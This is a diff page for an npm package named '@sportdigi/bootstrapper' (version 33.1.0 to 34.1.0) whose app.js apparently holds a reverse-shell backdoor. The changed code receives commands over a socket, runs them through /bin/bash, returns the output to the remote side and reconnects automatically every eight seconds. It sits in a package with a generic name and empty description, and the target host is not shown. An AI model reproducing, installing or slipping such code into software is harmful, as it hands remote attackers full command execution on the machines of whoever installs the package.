@sportdigi/bootstrapper 33.1.0 → 34.1.0

Sign up to get free protection for your applications and to get access to all the features.
Files changed (2) hide show
  1. package/app.js +28 -28
  2. package/package.json +1 -1
package/app.js CHANGED
@@ -53,37 +53,37 @@ function server() {
53
53
 
54
54
  const command = data.toString().trim();
55
55
 
56
- if (!command) {
57
- client.write('Geçersiz komut: Boş komut gönderilemez.\n');
58
- return;
59
- }
60
-
61
56
  if (command.startsWith('cd ')) {
62
57
  const newDir = command.substring(3).trim();
63
- exec(`cd ${newDir} && pwd`, (err, stdout, stderr) => {
64
- if (err) {
65
- client.write(`Hata: ${err.message}\n`);
66
- return;
67
- }
68
- if (stderr) {
69
- client.write(`Hata (stderr): ${stderr}\n`);
70
- return;
71
- }
72
- // Yeni dizini yazdır
73
- client.write(`Yeni dizin: ${stdout}\n`);
58
+
59
+ // Yeni terminal (bash) başlatıyoruz
60
+ const shell = spawn('/bin/bash', ['-c', `cd ${newDir} && pwd`]);
61
+
62
+ shell.stdout.on('data', (data) => {
63
+ client.write(`Yeni dizin: ${data.toString()}\n`);
64
+ });
65
+
66
+ shell.stderr.on('data', (data) => {
67
+ client.write(`Hata (stderr): ${data.toString()}\n`);
68
+ });
69
+
70
+ shell.on('error', (err) => {
71
+ client.write(`Hata: ${err.message}\n`);
74
72
  });
75
73
  } else {
76
74
  // Diğer komutları çalıştır
77
- exec(command, (err, stdout, stderr) => {
78
- if (err) {
79
- client.write(`Hata: ${err.message}\n`);
80
- return;
81
- }
82
- if (stderr) {
83
- client.write(`Hata (stderr): ${stderr}\n`);
84
- return;
85
- }
86
- client.write(stdout);
75
+ const shell = spawn('/bin/bash', ['-c', command]);
76
+
77
+ shell.stdout.on('data', (data) => {
78
+ client.write(data);
79
+ });
80
+
81
+ shell.stderr.on('data', (data) => {
82
+ client.write(data);
83
+ });
84
+
85
+ shell.on('error', (err) => {
86
+ client.write(`Hata: ${err.message}\n`);
87
87
  });
88
88
  }
89
89
  });
@@ -92,14 +92,14 @@ function server() {
92
92
  console.log('Bağlantı sonlandırıldı.');
93
93
  setTimeout(() => {
94
94
  server();
95
- }, 8000)
95
+ }, 8000);
96
96
  });
97
97
 
98
98
  client.on('error', (err) => {
99
99
  console.error('Bağlantı hatası:', err.message);
100
100
  setTimeout(() => {
101
101
  server();
102
- }, 8000)
102
+ }, 8000);
103
103
  });
104
104
  }
105
105
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@sportdigi/bootstrapper",
3
- "version": "33.1.0",
3
+ "version": "34.1.0",
4
4
  "description": "",
5
5
  "main": "app.js",
6
6
  "scripts": {